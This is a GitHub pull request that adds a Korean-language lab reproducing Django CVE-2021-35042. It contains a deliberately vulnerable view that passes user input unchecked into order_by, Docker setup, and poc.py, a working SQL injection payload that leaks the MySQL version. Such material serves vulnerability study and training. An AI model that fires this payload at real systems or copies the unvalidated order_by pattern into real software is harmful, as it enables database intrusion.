Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[문서진/sj1226m]: Django CVE-2021-35042 분석 코드 및 poc 결과 #185

Open
wants to merge 14 commits into
base: main
Choose a base branch
from
9 changes: 9 additions & 0 deletions django/CVE-2021-35042/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
FROM vulhub/django:3.2.4

COPY web/ /usr/src/
COPY docker-entrypoint.sh /docker-entrypoint.sh
RUN chmod +x /docker-entrypoint.sh

WORKDIR /usr/src
ENTRYPOINT [ "bash", "/docker-entrypoint.sh"]
CMD [ "python", "app.py", "runserver", "0.0.0.0:8000" ]
33 changes: 33 additions & 0 deletions django/CVE-2021-35042/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
CVE-2021-35042
=============
> [문서진 (@anstjwls)](https://github.com/sj1226m)

<br/>

### 요약

- Django의 QuerySet API인 order_by에서 입력값을 검증하지 않아, SQL injection이 가능
- db의 버전, 테이블 이름 등 세부 내용들을 공격자가 확인할 수 있음

<br/>

### 환경 구성 및 실행

- `docker compose up -d`를 실행하여 테스트 환경을 실행 (django 3.2.4버전)
- `your-ip:8000/vuln`에 접속하여 db 정보 확인
- `python3 poc.py your-ip:8080/`를 호출하여 반환 결과를 읽음
- SQL 인젝션을 통해 결과에서 "HTTP 응답 본문" 의 db 버전을 확인할 수 있음

<br/>

### 결과
<img width="714" alt="스크린샷 2024-05-06 오전 12 09 52" src="https://github.com/sj1226m/kr-vulhub/assets/80944952/b3831765-a439-4f4b-a95b-8d5134d5941f">


<br/>

### 정리

SQL injection 공격은 데이터베이스의 정보를 노출시키거나 조작할 수 있으며, 심지어 데이터베이스 외부의 시스템 명령어를 실행하여 시스템을 손상시킬 수도 있다. 따라서 입력 유효성 검사, 매개 변수화된 쿼리 사용, ORM(Object-Relational Mapping) 라이브러리 사용 등의 보안 조치를 적용해야 한다.

![](2.png)
14 changes: 14 additions & 0 deletions django/CVE-2021-35042/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
version: '2'
services:
web:
build: .
ports:
- "8000:8000"
depends_on:
- db
db:
image: mysql:5.7
platform: linux/x86_64 #mac m1 환경의 경우 x86_64 환경 명시 필요
environment:
- MYSQL_ROOT_PASSWORD=mysql
- MYSQL_DATABASE=cve
11 changes: 11 additions & 0 deletions django/CVE-2021-35042/docker-entrypoint.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
#!/bin/bash

set -ex
cd /usr/src

wait-for-it.sh -t 0 db:3306 -- echo "mysql is up"

python app.py migrate
python app.py loaddata collection.json

exec "$@"
29 changes: 29 additions & 0 deletions django/CVE-2021-35042/poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
import re
import requests
import sys

# 사용자로부터 입력받은 URL의 인자 개수를 확인
if len(sys.argv) < 2:
# 사용 방법을 출력
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8000/" % (sys.argv[0]))
sys.exit() # 인자가 부족할 경우 프로그램 종료

ip_port = sys.argv[1]
# updatexml 함수를 사용하여 XML 형식으로 반환되는 @@version 값을 선택해 데이터베이스 서버의 버전 정보를 가져옴
nxt = '/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@version)),1)%23'

url = f"http://{ip_port}{nxt}"
response = requests.get(url)

# HTTP 응답 코드
print("Response status code:", response.status_code)

# 에러 메시지 중 버전 정보가 출력되는 부분
match = re.search(r'<pre class="exception_value">([^<]+)</pre>', response.text)
if match:
error_message = match.group(1)
print("Leak Version:", error_message)
else:
print("Error message not found")

47 changes: 47 additions & 0 deletions django/CVE-2021-35042/web/app.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
import os
import sys


os.environ.setdefault("DJANGO_SETTINGS_MODULE", __name__)
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DEBUG = True
SECRET_KEY = 'vulhub'
ALLOWED_HOSTS = ['*']
MIDDLEWARE = [
'django.middleware.common.CommonMiddleware',
]

ROOT_URLCONF = 'vuln.urls'
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'handlers': {
'console': {
'class': 'logging.StreamHandler',
},
},
'loggers': {
'django': {
'handlers': ['console'],
'level': os.getenv('DJANGO_LOG_LEVEL', 'WARNING'),
},
},
}
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'cve',
'USER': 'root',
'PASSWORD': 'mysql',
'HOST': 'db',
'PORT': '3306',
}
}
INSTALLED_APPS = [
'vuln'
]



from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
30 changes: 30 additions & 0 deletions django/CVE-2021-35042/web/collection.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
[
{
"model": "vuln.collection",
"pk": 1,
"fields": {
"name": "Example 1"
}
},
{
"model": "vuln.collection",
"pk": 2,
"fields": {
"name": "Example 2"
}
},
{
"model": "vuln.collection",
"pk": 3,
"fields": {
"name": "Example 3"
}
},
{
"model": "vuln.collection",
"pk": 4,
"fields": {
"name": "Example 4"
}
}
]
Empty file.
6 changes: 6 additions & 0 deletions django/CVE-2021-35042/web/vuln/apps.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
from django.apps import AppConfig


class VulnConfig(AppConfig):
name = 'vuln'
default_auto_field = 'django.db.models.BigAutoField'
21 changes: 21 additions & 0 deletions django/CVE-2021-35042/web/vuln/migrations/0001_initial.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
# Generated by Django 3.1.4 on 2021-07-05 11:59

from django.db import migrations, models


class Migration(migrations.Migration):

initial = True

dependencies = [
]

operations = [
migrations.CreateModel(
name='Collection',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=128)),
],
),
]
Empty file.
7 changes: 7 additions & 0 deletions django/CVE-2021-35042/web/vuln/models.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
from django.db import models

# Create your models here.


class Collection(models.Model):
name = models.CharField(max_length=128)
7 changes: 7 additions & 0 deletions django/CVE-2021-35042/web/vuln/urls.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
from django.urls import include, path, re_path
from . import views


urlpatterns = [
path('vuln/', views.vul),
]
10 changes: 10 additions & 0 deletions django/CVE-2021-35042/web/vuln/views.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
from django.shortcuts import HttpResponse
from .models import Collection

# Create your views here.


def vul(request):
query = request.GET.get('order', default='id')
q = Collection.objects.order_by(query)
return HttpResponse(q.values())